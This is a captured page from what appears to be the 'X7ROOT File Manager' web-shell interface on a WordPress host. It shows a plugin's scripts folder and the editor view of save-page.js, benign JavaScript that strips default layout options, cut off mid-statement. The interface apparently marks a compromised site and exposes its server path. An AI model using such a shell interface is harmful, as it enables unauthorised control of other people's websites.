X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/page-builder-add/admin/scripts
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
page-builder-add
/
admin
/
scripts
/
ðŸ“
..
ðŸ“
ajax
📄
bb3.js
(129.04 KB)
📄
bb4.js
(23.77 KB)
ðŸ“
blocks
📄
init.js
(10.45 KB)
📄
new-row.js
(10.58 KB)
📄
pbb-CollectionView.js
(16.82 KB)
📄
pbb-drag-n-drop.js
(54.36 KB)
📄
pbb-model-1.js
(18.25 KB)
📄
pbb-model-2.js
(14.07 KB)
📄
renderPageOps.js
(36.75 KB)
📄
row-view.js
(214.73 KB)
📄
save-page.js
(62.96 KB)
📄
side-panel.js
(9.55 KB)
📄
undo-redo.js
(71.64 KB)
📄
widget-render.js
(420.54 KB)
📄
widget-view.js
(252.47 KB)
Editing: save-page.js
( function( $ ) { function isObjectEmpty(obj) { for(var key in obj) { if(obj.hasOwnProperty(key)) return false; } return true; } function filterDefaultRowOps(modelData){ $.each(modelData, function(index,value){ thisRowAttrs = value['attributes']; if (thisRowAttrs['rowHeight'] == '100' || thisRowAttrs['rowHeight'] == '') { delete thisRowAttrs.rowHeight; } if (thisRowAttrs['rowHeightTablet'] == '') { delete thisRowAttrs.rowHeightTablet; } if (thisRowAttrs['rowHeightMobile'] == '') { delete thisRowAttrs.rowHeightMobile; } if (thisRowAttrs['rowHeightUnit'] == 'px' || thisRowAttrs['rowHeightUnit'] == '') { delete thisRowAttrs.rowHeightUnit; } if (thisRowAttrs['rowHeightUnitTablet'] == '') { delete thisRowAttrs.rowHeightUnitTablet; } if (thisRowAttrs['rowHeightUnitMobile'] == '') { delete thisRowAttrs.rowHeightUnitMobile; } /* rowDataAttrs */ thisRowData = thisRowAttrs['rowData']; if (thisRowData['rowCustomClass'] == '' || thisRowData['rowCustomClass'] == '') { delete thisRowData.rowCustomClass; } if (thisRowData['bg_color'] == '#fff' || thisRowData['bg_color'] == '') { delete thisRowData.bg_color; } if (thisRowData['bg_img'] == '') { delete thisRowData.bg_img; } if (thisRowData['bg_imgT'] == '') { delete thisRowData.bg_imgT; } if (thisRowData['bg_imgM'] == '') { delete thisRowData.bg_imgM; } if (thisRowData['bg_imgM'] == '') { delete thisRowData.bg_imgM; } if (thisRowData['rowCustomClass'] == '') { delete thisRowData.rowCustomClass; } if (thisRowData['customStyling'] == '' || thisRowData['customStyling'] == '/* Insert your custom CSS for this row here. */') { delete thisRowData.customStyling; } if (thisRowData['customJS'] == '' || thisRowData['customJS'] == ' ') { delete thisRowData.customJS; } if (thisRowData['conType'] == '') { delete thisRowData.conType; } if (thisRowData['conWidth'] == '') { delete thisRowData.conWidth; } if (thisRowData['rowHideOnDesktop'] == '') { delete thisRowData.rowHideOnDesktop; } if (thisRowData['rowHideOnTablet'] == '') { delete thisRowData.rowHideOnTablet; } if (thisRowData['rowHideOnMobile'] == '') { delete thisRowData.rowHideOnMobile; } if (thisRowData['rowOverlayBackgroundType'] == '') { delete thisRowData.rowOverlayBackgroundType; } /* rowDataAttrs */ /* rowDataMarginAttrs */ if (typeof(thisRowData['marginTablet']) != 'undefined') { thisRowDataMarginTab = thisRowData['marginTablet']; if (thisRowDataMarginTab['rMTT'] == '' || thisRowDataMarginTab['rMTT'] == '0') { delete thisRowDataMarginTab.rMTT; } if (thisRowDataMarginTab['rMBT'] == '' || thisRowDataMarginTab['rMBT'] == '0') { delete thisRowDataMarginTab.rMBT; } if (thisRowDataMarginTab['rMLT'] == '' || thisRowDataMarginTab['rMLT'] == '0') { delete thisRowDataMarginTab.rMLT; } if (thisRowDataMarginTab['rMRT'] == '' || thisRowDataMarginTab['rMRT'] == '0') { delete thisRowDataMarginTab.rMRT; } if (isObjectEmpty(thisRowData['marginTablet'])) { delete thisRowData.marginTablet; } } if (typeof(thisRowData['marginMobile']) != 'undefined') { thisRowDataMarginMob = thisRowData['marginMobile']; if (thisRowDataMarginMob['rMTM'] == '' || thisRowDataMarginMob['rMTM'] == '0') { delete thisRowDataMarginMob.rMTM; } if (thisRowDataMarginMob['rMBM'] == '' || thisRowDataMarginMob['rMBM'] == '0') { delete thisRowDataMarginMob.rMBM; } if (thisRowDataMarginMob['rMLM'] == '' || thisRowDataMarginMob['rMLM'] == '0') { delete thisRowDataMarginMob.rMLM; } if (thisRowDataMarginMob['rMRM'] == '' || thisRowDataMarginMob['rMRM'] == '0') { delete thisRowDataMarginMob.rMRM; } if (isObjectEmpty(thisRowData['marginMobile'])) { delete thisRowData.marginMobile; } } if (typeof(thisRowData['paddingTablet']) != 'undefined') { thisRowDataPaddingTab = thisRowData['paddingTablet']; if (thisRowDataPaddingTab['rPTT'] == '' || thisRowDataPaddingTab['rPTT'] == '1.5') { delete thisRowDataPaddingTab.rPTT; } if (thisRowDataPaddingTab['rPBT'] == '' || thisRowDataPaddingTab['rPBT'] == '1.5') { delete thisRowDataPaddingTab.rPBT; } if (thisRowDataPaddingTab['rPLT'] == '' || thisRowDataPaddingTab['rPLT'] == '1.5') { delete thisRowDataPaddingTab.rPLT; } if (thisRowDataPaddingTab['rPRT'] == '' || thisRowDataPaddingTab['rPRT'] == '1.5') { delete thisRowDataPaddingTab.rPRT; } if (isObjectEmpty(thisRowData['paddingTablet'])) { delete thisRowData.paddingTablet; } } if (typeof(thisRowData['paddingMobile']) != 'undefined') { thisRowDataPaddingMob = thisRowData['paddingMobile']; if (thisRowDataPaddingMob['rPTM'] == '' || thisRowDataPaddingMob['rPTM'] == '1.5') { delete thisRowDataPaddingMob.rPTM; } if (thisRowDataPaddingMob['rPBM'] == '' || thisRowDataPaddingMob['rPBM'] == '1.5') { delete thisRowDataPaddingMob.rPBM; } if (thisRowDataPaddingMob['rPLM'] == '' || thisRowDataPaddingMob['rPLM'] == '1.5') { delete thisRowDataPaddingMob.rPLM; } if (thisRowDataPaddingMob['rPRM'] == '' || thisRowDataPaddingMob['rPRM'] == '1.5') { delete thisRowDataPaddingMob.rPRM; } if (isObjectEmpty(thisRowData['paddingMobile'])) { delete thisRowData.paddingMobile; } } /* rowDataMarginAttrs */ /* rowDataBgShapesAttrs */ if (typeof(thisRowData['bgSTop']) != 'undefined') { thisRowDatabgSTop = thisRowData['bgSTop']; if (thisRowDatabgSTop['rbgstType'] == '' || thisRowDatabgSTop['rbgstType'] == 'none') { delete thisRowDatabgSTop.rbgstType; } if (thisRowDatabgSTop['rbgstColor'] == '' || thisRowDatabgSTop['rbgstColor'] == '#e3e3e3') { delete thisRowDatabgSTop.rbgstColor; } if (thisRowDatabgSTop['rbgstWidth'] == '' || thisRowDatabgSTop['rbgstWidth'] == '100') { delete thisRowDatabgSTop.rbgstWidth; } if (thisRowDatabgSTop['rbgstWidtht'] == '' || thisRowDatabgSTop['rbgstWidtht'] == '') { delete thisRowDatabgSTop.rbgstWidtht; } if (thisRowDatabgSTop['rbgstWidthm'] == '' || thisRowDatabgSTop['rbgstWidthm'] == '') { delete thisRowDatabgSTop.rbgstWidthm; } if (thisRowDatabgSTop['rbgstHeight'] == '' || thisRowDatabgSTop['rbgstHeight'] == '200') { delete thisRowDatabgSTop.rbgstHeight; } if (thisRowDatabgSTop['rbgstHeightt'] == '' || thisRowDatabgSTop['rbgstHeightt'] == '') { delete thisRowDatabgSTop.rbgstHeightt; } if (thisRowDatabgSTop['rbgstHeightm'] == '' || thisRowDatabgSTop['rbgstHeightm'] == '') { delete thisRowDatabgSTop.rbgstHeightm; } if (thisRowDatabgSTop['rbgstFlipped'] == '' || thisRowDatabgSTop['rbgstFlipped'] == 'none') { delete thisRowDatabgSTop.rbgstFlipped; } if (thisRowDatabgSTop['rbgstFront'] == '' || thisRowDatabgSTop['rbgstFront'] == 'back') { delete thisRowDatabgSTop.rbgstFront; } if (isObjectEmpty(thisRowData['bgSTop'])) { delete thisRowData.bgSTop; } } if (typeof(thisRowData['bgSBottom']) != 'undefined') { thisRowDatabgSBottom = thisRowData['bgSBottom']; if (thisRowDatabgSBottom['rbgsbType'] == '' || thisRowDatabgSBottom['rbgsbType'] == 'none') { delete thisRowDatabgSBottom.rbgsbType; } if (thisRowDatabgSBottom['rbgsbColor'] == '' || thisRowDatabgSBottom['rbgsbColor'] == '#e3e3e3') { delete thisRowDatabgSBottom.rbgsbColor; } if (thisRowDatabgSBottom['rbgsbWidth'] == '' || thisRowDatabgSBottom['rbgsbWidth'] == '100') { delete thisRowDatabgSBottom.rbgsbWidth; } if (thisRowDatabgSBottom['rbgsbWidtht'] == '' || thisRowDatabgSBottom['rbgsbWidtht'] == '') { delete thisRowDatabgSBottom.rbgsbWidtht; } if (thisRowDatabgSBottom['rbgsbWidthm'] == '' || thisRowDatabgSBottom['rbgsbWidthm'] == '') { delete thisRowDatabgSBottom.rbgsbWidthm; } if (thisRowDatabgSBottom['rbgsbHeight'] == '' || thisRowDatabgSBottom['rbgsbHeight'] == '200') { delete thisRowDatabgSBottom.rbgsbHeight; } if (thisRowDatabgSBottom['rbgsbHeightt'] == '' || thisRowDatabgSBottom['rbgsbHeightt'] == '') { delete thisRowDatabgSBottom.rbgsbHeightt; } if (thisRowDatabgSBottom['rbgsbHeightm'] == '' || thisRowDatabgSBottom['rbgsbHeightm'] == '') { delete thisRowDatabgSBottom.rbgsbHeightm; } if (thisRowDatabgSBottom['rbgsbFlipped'] == '' || thisRowDatabgSBottom['rbgsbFlipped'] == 'none') { delete thisRowDatabgSBottom.rbgsbFlipped; } if (thisRowDatabgSBottom['rbgsbFront'] == '' || thisRowDatabgSBottom['rbgsbFront'] == 'back') { delete thisRowDatabgSBottom.rbgsbFront; } if (isObjectEmpty(thisRowData['bgSBottom'])) { delete thisRowData.bgSBottom; } } /* rowDataBgShapesAttrs */ if (typeof(thisRowData['video']) != 'undefined') { thisRowDataVideo = thisRowData['video']; if (thisRowDataVideo['rowBgVideoEnable'] == '' || thisRowDataVideo['rowBgVideoEnable'] == 'false') { delete thisRowDataVideo.rowBgVideoEnable; } if (thisRowDataVideo['rowBgVideoLoop'] == '' || thisRowDataVideo['rowBgVideoLoop'] == 'loop') { delete thisRowDataVideo.rowBgVideoLoop; } if (thisRowDataVideo['rowVideoMpfour'] == '' || thisRowDataVideo['rowVideoMpfour'] == ' ') { delete thisRowDataVideo.rowVideoMpfour; } if (thisRowDataVideo['rowVideoWebM'] == '' || thisRowDataVideo['rowVideoWebM'] == ' ') { delete thisRowDataVideo.rowVideoWebM; } if (thisRowDataVideo['rowVideoThumb'] == '' || thisRowDataVideo['rowVideoThumb'] == ' ') { delete thisRowDataVideo.rowVideoThumb; } if (thisRowDataVideo['rowVideoType'] == '' || thisRowDataVideo['rowVideoType'] == 'mp4') { delete thisRowDataVideo.rowVideoType; } if (thisRowDataVideo['rowVideoYtUrl'] == '') { delete thisRowDataVideo.rowVideoYtUrl; } if (isObjectEmpty(thisRowData['video'])) { delete thisRowData.video; } } if (typeof(thisRowData['rowGradient']) != 'undefined') { thisRowGrad = thisRowData['rowGradient']; if (thisRowGrad['rowGradientColorFirst'] == '' || thisRowGrad['rowGradientColorFirst'] == '#dd9933') { delete thisRowGrad.rowGradientColorFirst; } if (thisRowGrad['rowGradientLocationFirst'] == '' || thisRowGrad['rowGradientLocationFirst'] == '40') { delete thisRowGrad.rowGradientLocationFirst; } if (thisRowGrad['rowGradientColorSecond'] == '' || thisRowGrad['rowGradientColorSecond'] == '#eeee22') { delete thisRowGrad.rowGradientColorSecond; } if (thisRowGrad['rowGradientLocationSecond'] == '' || thisRowGrad['rowGradientLocationSecond'] == '60') { delete thisRowGrad.rowGradientLocationSecond; } if (thisRowGrad['rowGradientType'] == '' || thisRowGrad['rowGradientType'] == 'linear') { delete thisRowGrad.rowGradientType; } if (thisRowGrad['rowGradientPosition'] == '' || thisRowGrad['rowGradientPosition'] == 'top left') { delete thisRowGrad.rowGradientPosition; } if (thisRowGrad['rowGradientAngle'] == '' || thisRowGrad['rowGradientAngle'] == '135') { delete thisRowGrad.rowGradientAngle; } if (isObjectEmpty(thisRowData['rowGradient'])) { delete thisRowData.rowGradient; } } if (typeof(thisRowData['rowHoverOptions']) != 'undefined') { thisRowHover = thisRowData['rowHoverOptions']; if (thisRowHover['rowBgColorHover'] == '' || thisRowHover['rowBgColorHover'] == '') { delete thisRowHover.rowBgColorHover; } if (thisRowHover['rowBackgroundTypeHover'] == '' || thisRowHover['rowBackgroundTypeHover'] == '') { delete thisRowHover.rowBackgroundTypeHover; } if (thisRowHover['rowHoverTransitionDuration'] == '' || thisRowHover['rowHoverTransitionDuration'] == '') { delete thisRowHover.rowHoverTransitionDuration; } thisRowGrHover = thisRowHover['rowGradientHover']; if (thisRowGrHover['rowGradientColorFirstHover'] == '' || thisRowGrHover['rowGradientColorFirstHover'] == '') { delete thisRowGrHover.rowGradientColorFirstHover; } if (thisRowGrHover['rowGradientLocationFirstHover'] == '' || thisRowGrHover['rowGradientLocationFirstHover'] == '') { delete thisRowGrHover.rowGradientLocationFirstHover; } if (thisRowGrHover['rowGradientColorSecondHover'] == '' || thisRowGrHover['rowGradientColorSecondHover'] == '') { delete thisRowGrHover.rowGradientColorSecondHover; } if (thisRowGrHover['rowGradientLocationSecondHover'] == '' || thisRowGrHover['rowGradientLocationSecondHover'] == '') { delete thisRowGrHover.rowGradientLocationSecondHover; } if (thisRowGrHover['rowGradientTypeHover'] == '' || thisRowGrHover['rowGradientTypeHover'] == 'linear') { delete thisRowGrHover.rowGradientTypeHover; } if (thisRowGrHover['rowGradientPositionHover'] == '' || thisRowGrHover['rowGradientPositionHover'] == 'top left') { delete thisRowGrHover.rowGradientPositionHover; } if (thisRowGrHover['rowGradientAngleHover'] == '' || thisRowGrHover['rowGradientAngleHover'] == '') { delete thisRowGrHover.rowGradientAngleHover; } if (isObjectEmpty(thisRowHover['rowGradientHover'])) { delete thisRowHover.rowGradientHover; } if (isObjectEmpty(thisRowData['rowHoverOptions'])) { delete thisRowData.rowHoverOptions; } } if (typeof(thisRowData['rowOverlayGradient']) != 'undefined') { thisRowOverGr = thisRowData['rowOverlayGradient']; if (thisRowOverGr['rowOverlayGradientColorFirst'] == '') { delete thisRowOverGr.rowOverlayGradientColorFirst; } if (thisRowOverGr['rowOverlayGradientLocationFirst'] == '') { delete thisRowOverGr.rowOverlayGradientLocationFirst; } if (thisRowOverGr['rowOverlayGradientColorSecond'] == '') { delete thisRowOverGr.rowOverlayGradientColorSecond; } if (thisRowOverGr['rowOverlayGradientLocationSecond'] == '') { delete thisRowOverGr.rowOverlayGradientLocationSecond; } if (thisRowOverGr['rowOverlayGradientType'] == '') { delete thisRowOverGr.rowOverlayGradientType; } if (thisRowOverGr['rowOverlayGradientPosition'] == '') { delete thisRowOverGr.rowOverlayGradientPosition; } if (thisRowOverGr['rowOverlayGradientAngle'] == '') { delete thisRowOverGr.rowOverlayGradientAngle; } if (isObjectEmpty(thisRowData['rowOverlayGradient'])) { delete thisRowData.rowOverlayGradient; } } if (typeof(thisRowData['bgImgOps']) != 'undefined') { bgImgOps = thisRowData['bgImgOps']; if (bgImgOps['pos'] == '' || bgImgOps['pos'] == 'center center') { delete bgImgOps.pos; } if (bgImgOps['posT'] == '') { delete bgImgOps.posT; } if (bgImgOps['posM'] == '') { delete bgImgOps.posM; } if (bgImgOps['xPos'] == '') { delete bgImgOps.xPos; } if (bgImgOps['xPosT'] == '') { delete bgImgOps.xPosT; } if (bgImgOps['xPosM'] == '') { delete bgImgOps.xPosM; } if (bgImgOps['xPosU'] == '' || bgImgOps['xPosU'] == 'px') { delete bgImgOps.xPosU; } if (bgImgOps['xPosUT'] == '' || bgImgOps['xPosUT'] == 'px') { delete bgImgOps.xPosUT; } if (bgImgOps['xPosUM'] == '' || bgImgOps['xPosUM'] == 'px') { delete bgImgOps.xPosUM; } if (bgImgOps['yPos'] == '') { delete bgImgOps.yPos; } if (bgImgOps['yPosT'] == '') { delete bgImgOps.yPosT; } if (bgImgOps['yPosM'] == '') { delete bgImgOps.yPosM; } if (bgImgOps['yPosU'] == '' || bgImgOps['yPosU'] == 'px') { delete bgImgOps.yPosU; } if (bgImgOps['yPosUT'] == '' || bgImgOps['yPosUT'] == 'px') { delete bgImgOps.yPosUT; } if (bgImgOps['yPosUM'] == '' || bgImgOps['yPosUM'] == 'px') { delete bgImgOps.yPosUM; } if (bgImgOps['rep'] == '' || bgImgOps['rep'] == 'default') { delete bgImgOps.rep; } if (bgImgOps['repT'] == '' || bgImgOps['repT'] == 'default') { delete bgImgOps.repT; } if (bgImgOps['repM'] == '' || bgImgOps['repM'] == 'default') { delete bgImgOps.repM; } if (bgImgOps['size'] == '' || bgImgOps['size'] == 'cover') { delete bgImgOps.size; } if (bgImgOps['sizeT'] == '') { delete bgImgOps.sizeT; } if (bgImgOps['sizeM'] == '') { delete bgImgOps.sizeM; } if (bgImgOps['cWid'] == '') { delete bgImgOps.cWid; } if (bgImgOps['cWidT'] == '') { delete bgImgOps.cWidT; } if (bgImgOps['cWidM'] == '') { delete bgImgOps.cWidM; } if (bgImgOps['widU'] == '' || bgImgOps['widU'] == 'px') { delete bgImgOps.widU; } if (bgImgOps['widUT'] == '' || bgImgOps['widUT'] == 'px') { delete bgImgOps.widUT; } if (bgImgOps['widUM'] == '' || bgImgOps['widUM'] == 'px') { delete bgImgOps.widUM; } if (bgImgOps['cWid'] == '') { delete bgImgOps.cWid; } if (bgImgOps['parlxT'] == '') { delete bgImgOps.parlxT; } if (bgImgOps['parlxM'] == '') { delete bgImgOps.parlxM; } if (isObjectEmpty(thisRowData['bgImgOps'])) { delete thisRowData.bgImgOps; } } }); return modelData; } function filterDefaultColumnsOps(modelData){ $.each(modelData, function(index,value){ thisRowAttrs = value['attributes']; thisRowColumns = thisRowAttrs['columns']; for(var i = 1; i <= thisRowColumns; i++){ var this_column = 'column'+i; var thisColumnModelData = thisRowAttrs[this_column]; if (typeof(thisColumnModelData) == 'undefined' ) { continue; } thisColOps = thisColumnModelData['columnOptions']; /* thisColOps */ if (thisColOps['bg_color'] == '' || thisColOps['bg_color'] == 'transparent') { delete thisColOps.bg_color; } if (thisColOps['widthTablet'] == '') { delete thisColOps.widthTablet; } if (thisColOps['width'] == '') { delete thisColOps.width; } if (thisColOps['widthMobile'] == '') { delete thisColOps.widthMobile; } if (thisColOps['columnCSS'] == '' || thisColOps['columnCSS'] == '/* Add column custom styling here */') { delete thisColOps.columnCSS; } if (thisColOps['columnCustomClass'] == '') { delete thisColOps.columnCustomClass; } if (thisColOps['colHideOnDesktop'] == '') { delete thisColOps.colHideOnDesktop; } if (thisColOps['colHideOnTablet'] == '') { delete thisColOps.colHideOnTablet; } if (thisColOps['colHideOnMobile'] == '') { delete thisColOps.colHideOnMobile; } if (thisColOps['colBgImg'] == '') { delete thisColOps.colBgImg; } if (thisColOps['colBgImgT'] == '') { delete thisColOps.colBgImgT; } if (thisColOps['colBgImgM'] == '') { delete thisColOps.colBgImgM; } /* thisColOps */ /* thisColMarginAttrs */ if (typeof(thisColOps['margin']) != 'undefined') { thisColOpsMargin = thisColOps['margin']; if (thisColOpsMargin['columnMarginTop'] == '' || thisColOpsMargin['columnMarginTop'] == '0') { delete thisColOpsMargin.columnMarginTop; } if (thisColOpsMargin['columnMarginBottom'] == '' || thisColOpsMargin['columnMarginBottom'] == '0' ) { delete thisColOpsMargin.columnMarginBottom; } if (thisColOpsMargin['columnMarginLeft'] == '' || thisColOpsMargin['columnMarginLeft'] == '0' ) { delete thisColOpsMargin.columnMarginLeft; } if (thisColOpsMargin['columnMarginRight'] == '' || thisColOpsMargin['columnMarginRight'] == '0' ) { delete thisColOpsMargin.columnMarginRight; } if (isObjectEmpty(thisColOps['margin'])) { delete thisColOps.margin; } } if (typeof(thisColOps['marginTablet']) != 'undefined') { thisColOpsMarginTab = thisColOps['marginTablet']; if (thisColOpsMarginTab['rMTT'] == '' ) { delete thisColOpsMarginTab.rMTT; } if (thisColOpsMarginTab['rMBT'] == '' ) { delete thisColOpsMarginTab.rMBT; } if (thisColOpsMarginTab['rMLT'] == '' ) { delete thisColOpsMarginTab.rMLT; } if (thisColOpsMarginTab['rMRT'] == '' ) { delete thisColOpsMarginTab.rMRT; } if (isObjectEmpty(thisColOps['marginTablet'])) { delete thisColOps.marginTablet; } } if (typeof(thisColOps['marginMobile']) != 'undefined') { thisColOpsMarginMob = thisColOps['marginMobile']; if (thisColOpsMarginMob['rMTM'] == '' ) { delete thisColOpsMarginMob.rMTM; } if (thisColOpsMarginMob['rMBM'] == '' ) { delete thisColOpsMarginMob.rMBM; } if (thisColOpsMarginMob['rMLM'] == '' ) { delete thisColOpsMarginMob.rMLM; } if (thisColOpsMarginMob['rMRM'] == '' ) { delete thisColOpsMarginMob.rMRM; } if (isObjectEmpty(thisColOps['marginMobile'])) { delete thisColOps.marginMobile; } } if (typeof(thisColOps['padding']) != 'undefined') { thisColOpsPadding = thisColOps['padding']; if (thisColOpsPadding['columnPaddingTop'] == '' || thisColOpsPadding['columnPaddingTop'] == '0' ) { delete thisColOpsPadding.columnPaddingTop; } if (thisColOpsPadding['columnPaddingBottom'] == '' || thisColOpsPadding['columnPaddingBottom'] == '0' ) { delete thisColOpsPadding.columnPaddingBottom; } if (thisColOpsPadding['columnPaddingLeft'] == '' || thisColOpsPadding['columnPaddingLeft'] == '0' ) { delete thisColOpsPadding.columnPaddingLeft; } if (thisColOpsPadding['columnPaddingRight'] == '' || thisColOpsPadding['columnPaddingRight'] == '0' ) { delete thisColOpsPadding.columnPaddingRight; } if (isObjectEmpty(thisColOps['padding'])) { delete thisColOps.padding; } } if (typeof(thisColOps['paddingTablet']) != 'undefined') { thisColOpsPaddingTab = thisColOps['paddingTablet']; if (thisColOpsPaddingTab['rPTT'] == '' ) { delete thisColOpsPaddingTab.rPTT; } if (thisColOpsPaddingTab['rPBT'] == '' ) { delete thisColOpsPaddingTab.rPBT; } if (thisColOpsPaddingTab['rPLT'] == '' ) { delete thisColOpsPaddingTab.rPLT; } if (thisColOpsPaddingTab['rPRT'] == '' ) { delete thisColOpsPaddingTab.rPRT; } if (isObjectEmpty(thisColOps['paddingTablet'])) { delete thisColOps.paddingTablet; } } if (typeof(thisColOps['paddingMobile']) != 'undefined') { thisColOpsPaddingMob = thisColOps['paddingMobile']; if (thisColOpsPaddingMob['rPTM'] == '' ) { delete thisColOpsPaddingMob.rPTM; } if (thisColOpsPaddingMob['rPBM'] == '' ) { delete thisColOpsPaddingMob.rPBM; } if (thisColOpsPaddingMob['rPLM'] == '' ) { delete thisColOpsPaddingMob.rPLM; } if (thisColOpsPaddingMob['rPRM'] == '' ) { delete thisColOpsPaddingMob.rPRM; } if (isObjectEmpty(thisColOps['paddingMobile'])) { delete thisColOps.paddingMobile; } } /* thisColMarginAttrs */ if (typeof(thisColOps['colGradient']) != 'undefined') { thisRowGrad = thisColOps['colGradient']; if (thisRowGrad['colGradientColorFirst'] == '' || thisRowGrad['colGradientColorFirst'] == '#dd9933') { delete thisRowGrad.colGradientColorFirst; } if (thisRowGrad['colGradientLocationFirst'] == '' || thisRowGrad['colGradientLocationFirst'] == '55') { delete thisRowGrad.colGradientLocationFirst; } if (thisRowGrad['colGradientColorSecond'] == '' || thisRowGrad['colGradientColorSecond'] == '#eeee22') { delete thisRowGrad.colGradientColorSecond; } if (thisRowGrad['colGradientLocationSecond'] == '' || thisRowGrad['colGradientLocationSecond'] == '50') { delete thisRowGrad.colGradientLocationSecond; } if (thisRowGrad['colGradientType'] == '' || thisRowGrad['colGradientType'] == 'linear') { delete thisRowGrad.colGradientType; } if (thisRowGrad['colGradientPosition'] == '' || thisRowGrad['colGradientPosition'] == 'top left') { delete thisRowGrad.colGradientPosition; } if (thisRowGrad['colGradientAngle'] == '' || thisRowGrad['colGradientAngle'] == '135') { delete thisRowGrad.colGradientAngle; } if (isObjectEmpty(thisColOps['colGradient'])) { delete thisColOps.colGradient; } } /* colDataHoverAttrs */ if (typeof(thisColOps['colHoverOptions']) != 'undefined') { thisColHover = thisColOps['colHoverOptions']; if (thisColHover['colBgColorHover'] == '') { delete thisColHover.colBgColorHover; } if (thisColHover['colBackgroundTypeHover'] == '' ) { delete thisColHover.colBackgroundTypeHover; } if (thisColHover['colHoverTransitionDuration'] == '' ) { delete thisColHover.colHoverTransitionDuration; } if (typeof(thisColHover['colGradientHover']) != 'undefined') { thisColGrHover = thisColHover['colGradientHover']; if (thisColGrHover['colGradientColorFirstHover'] == '' || thisColGrHover['colGradientColorFirstHover'] == 'hsv(0, 0%, 0%)' ) { delete thisColGrHover.colGradientColorFirstHover; } if (thisColGrHover['colGradientLocationFirstHover'] == '' ) { delete thisColGrHover.colGradientLocationFirstHover; } if (thisColGrHover['colGradientColorSecondHover'] == '' || thisColGrHover['colGradientColorSecondHover'] == 'hsv(0, 0%, 0%)' ) { delete thisColGrHover.colGradientColorSecondHover; } if (thisColGrHover['colGradientLocationSecondHover'] == '' ) { delete thisColGrHover.colGradientLocationSecondHover; } if (thisColGrHover['colGradientTypeHover'] == '' || thisColGrHover['colGradientTypeHover'] == 'linear') { delete thisColGrHover.colGradientTypeHover; } if (thisColGrHover['colGradientPositionHover'] == '' || thisColGrHover['colGradientPositionHover'] == 'top left') { delete thisColGrHover.colGradientPositionHover; } if (thisColGrHover['colGradientAngleHover'] == '') { delete thisColGrHover.colGradientAngleHover; } if (isObjectEmpty(thisColHover['colGradientHover'])) { delete thisColOps.colHoverOptions.colGradientHover; } } if (isObjectEmpty(thisColOps['colHoverOptions'])) { delete thisColOps.colHoverOptions; } } /* colDataHoverAttrs */ if (typeof(thisColOps['bgImgOps']) != 'undefined') { bgImgOps = thisColOps['bgImgOps']; if (bgImgOps['pos'] == '' || bgImgOps['pos'] == 'center center') { delete bgImgOps.pos; } if (bgImgOps['posT'] == '') { delete bgImgOps.posT; } if (bgImgOps['posM'] == '') { delete bgImgOps.posM; } if (bgImgOps['xPos'] == '') { delete bgImgOps.xPos; } if (bgImgOps['xPosT'] == '') { delete bgImgOps.xPosT; } if (bgImgOps['xPosM'] == '') { delete bgImgOps.xPosM; } if (bgImgOps['xPosU'] == '' || bgImgOps['xPosU'] == 'px') { delete bgImgOps.xPosU; } if (bgImgOps['xPosUT'] == '' || bgImgOps['xPosUT'] == 'px') { delete bgImgOps.xPosUT; } if (bgImgOps['xPosUM'] == '' || bgImgOps['xPosUM'] == 'px') { delete bgImgOps.xPosUM; } if (bgImgOps['yPos'] == '') { delete bgImgOps.yPos; } if (bgImgOps['yPosT'] == '') { delete bgImgOps.yPosT; } if (bgImgOps['yPosM'] == '') { delete bgImgOps.yPosM; } if (bgImgOps['yPosU'] == '' || bgImgOps['yPosU'] == 'px') { delete bgImgOps.yPosU; } if (bgImgOps['yPosUT'] == '' || bgImgOps['yPosUT'] == 'px') { delete bgImgOps.yPosUT; } if (bgImgOps['yPosUM'] == '' || bgImgOps['yPosUM'] == 'px') { delete bgImgOps.yPosUM; } if (bgImgOps['rep'] == '' || bgImgOps['rep'] == 'default') { delete bgImgOps.rep; } if (bgImgOps['repT'] == '' || bgImgOps['repT'] == 'default') { delete bgImgOps.repT; } if (bgImgOps['repM'] == '' || bgImgOps['repM'] == 'default') { delete bgImgOps.repM; } if (bgImgOps['size'] == '' || bgImgOps['size'] == 'cover') { delete bgImgOps.size; } if (bgImgOps['sizeT'] == '') { delete bgImgOps.sizeT; } if (bgImgOps['sizeM'] == '') { delete bgImgOps.sizeM; } if (bgImgOps['cWid'] == '') { delete bgImgOps.cWid; } if (bgImgOps['cWidT'] == '') { delete bgImgOps.cWidT; } if (bgImgOps['cWidM'] == '') { delete bgImgOps.cWidM; } if (bgImgOps['widU'] == '' || bgImgOps['widU'] == 'px') { delete bgImgOps.widU; } if (bgImgOps['widUT'] == '' || bgImgOps['widUT'] == 'px') { delete bgImgOps.widUT; } if (bgImgOps['widUM'] == '' || bgImgOps['widUM'] == 'px') { delete bgImgOps.widUM; } if (bgImgOps['cWid'] == '') { delete bgImgOps.cWid; } if (bgImgOps['parlxT'] == '') { delete bgImgOps.parlxT; } if (bgImgOps['parlxM'] == '') { delete bgImgOps.parlxM; } if (isObjectEmpty(thisColOps['bgImgOps'])) { delete thisColOps.bgImgOps; } } if (typeof(thisColOps['colBorder']) != 'undefined') { colBorder = thisColOps['colBorder']; if (colBorder['bwt'] == '') { delete colBorder.bwt; } if (colBorder['bwb'] == '') { delete colBorder.bwb; } if (colBorder['bwl'] == '') { delete colBorder.bwl; } if (colBorder['bwr'] == '') { delete colBorder.bwr; } if (colBorder['bwtT'] == '') { delete colBorder.bwtT; } if (colBorder['bwbT'] == '') { delete colBorder.bwbT; } if (colBorder['bwlT'] == '') { delete colBorder.bwlT; } if (colBorder['bwrT'] == '') { delete colBorder.bwrT; } if (colBorder['bwtM'] == '') { delete colBorder.bwtM; } if (colBorder['bwbM'] == '') { delete colBorder.bwbM; } if (colBorder['bwlM'] == '') { delete colBorder.bwlM; } if (colBorder['bwrM'] == '') { delete colBorder.bwrM; } if (colBorder['brt'] == '') { delete colBorder.brt; } if (colBorder['brb'] == '') { delete colBorder.brb; } if (colBorder['brl'] == '') { delete colBorder.brl; } if (colBorder['brr'] == '') { delete colBorder.brr; } if (colBorder['brtT'] == '') { delete colBorder.brtT; } if (colBorder['brbT'] == '') { delete colBorder.brbT; } if (colBorder['brlT'] == '') { delete colBorder.brlT; } if (colBorder['brrT'] == '') { delete colBorder.brrT; } if (colBorder['brtM'] == '') { delete colBorder.brtM; } if (colBorder['brbM'] == '') { delete colBorder.brbM; } if (colBorder['brlM'] == '') { delete colBorder.brlM; } if (colBorder['brrM'] == '') { delete colBorder.brrM; } if (colBorder['colBorderStyle'] == '' || colBorder['colBorderStyle'] == null) { delete colBorder.colBorderStyle; } if 